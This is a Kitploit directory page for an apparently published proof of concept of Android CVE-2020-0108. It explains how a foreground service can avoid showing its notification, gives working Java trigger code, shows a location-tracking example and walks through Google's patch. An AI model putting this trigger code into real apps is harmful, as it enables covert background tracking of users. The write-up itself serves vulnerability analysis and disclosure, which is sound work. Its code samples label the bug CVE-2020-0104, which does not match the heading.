Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ServiceCheater — PoC of CVE-2020-0108 | Kitploit
Tools/GitHubGitHub/crackercat/servicecheater
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMobile Security
GitHubcrackercat/servicecheater

ServiceCheater

PoC of CVE-2020-0108

View Repository
11136 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-0108 Foreground Service Privilege Escalation Vulnerability Analysis

1. Vulnerability Background

  • In the AOSP 2020-08 patch, a vulnerability in the framework layer AMS was disclosed, numbered CVE-2020-0108, rated as High. It is a logic vulnerability in AMS's handling of foreground services. An attacker who successfully exploits this vulnerability can bypass the notification display of the foreground service and continue running in the background. The attack must be initiated by a local malicious application and does not require user interaction. If the user has granted other permissions to the application, greater harm can be caused, such as continuous location tracking or silent recording.

2. Vulnerability Details

  • Foreground service is a concept introduced by Google in Android 8.0. Since Android 8.0 does not allow starting background services from the background, the concept of foreground service was designed. Foreground services have a higher priority and can run for a long time in the background. However, a foreground service must bind a notification within 5 seconds after starting, otherwise it will be killed. In fact, foreground services still run in the "background", but because they are bound to a user-visible notification, Google calls them "foreground services".
  • This vulnerability has two attack methods, corresponding to two logic vulnerabilities.
  • The first vulnerability is in the onNotificationError method in NotificationManagerService, which does not properly handle exceptions during notification display.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • In this case, after the foreground service starts, even if the notification fails to display correctly, it will not cause the foreground service to terminate. For example, when the foreground service uses a custom layout when creating the notification, and passes a non-existent resID value when constructing the RemoteViews object, the NotificationManagerService will fail to parse the notification layout, throw an exception, and call the onNotificationError method. Since the onNotificationError method only calls cancelNotification to cancel the notification, without terminating the service or the entire application, the foreground service can continue running without displaying a notification.
  • The second vulnerability is in the postNotification method in ServiceRecord, which does not properly handle exceptions during notification display, but instead throws the exception to the user program.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • In this case, after the foreground service starts, if the user program catches the exception on the main thread, even if the notification fails to display correctly, it will not cause the foreground service to terminate. For example, when the foreground service passes an invalid Channel ID when creating the notification, the postNotification method in ServiceRecord will throw an exception when sending the notification. During exception handling, it only calls the AMS crashApplication method to throw a main thread exception to the application. However, if the application catches the exception on the main thread, the application will not crash, and the foreground service can continue running without displaying a notification.

3. Vulnerability Verification

  • The first vulnerability can be triggered using the following code in the foreground service:
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • When we create the RemoteViews object, we specify the Layout ID as -1, which is obviously an invalid value. This can trigger the onNotificationError callback.
  • The second vulnerability can be triggered using the following code in the foreground service:
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • This time we directly did not create the NotificationChannel object, but used an invalid Channel ID to construct the Notification. This can trigger the exception in the postNotification method. Then we catch the exception on the main thread, so the application will not crash.

4. Vulnerability Impact

  • Successfully exploiting this vulnerability, a malicious application can silently start a high-priority foreground service in the background and run continuously.
  • A major impact is that the application can use the location permission to track the user. Since a foreground service is used, even if "Allow only while using the app" is selected for location access, the location can still be tracked in the "background" without the user's awareness.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Vulnerability Patch

  • Google fixed this vulnerability in the 2020-08 patch. The main modification is to force the application to crash in the onNotificationError callback, and also force the application to crash in the exception handling of the postNotification method. In the crashApplication method, under the forced mode force=true, AMS will forcibly kill the application within 5 seconds after throwing the exception, even if the application has caught the exception.
  • The onNotificationError method calls crashApplication to make the application crash, with force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • In the exception handling of the postNotification method, call the killMisbehavingService method to kill the misbehaving service.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • In the killMisbehavingService method, besides locking, it also calls the crashApplication method.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • The handling for force=true is as follows: within 5 seconds after throwing the exception, forcefully kill the application.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Download Tool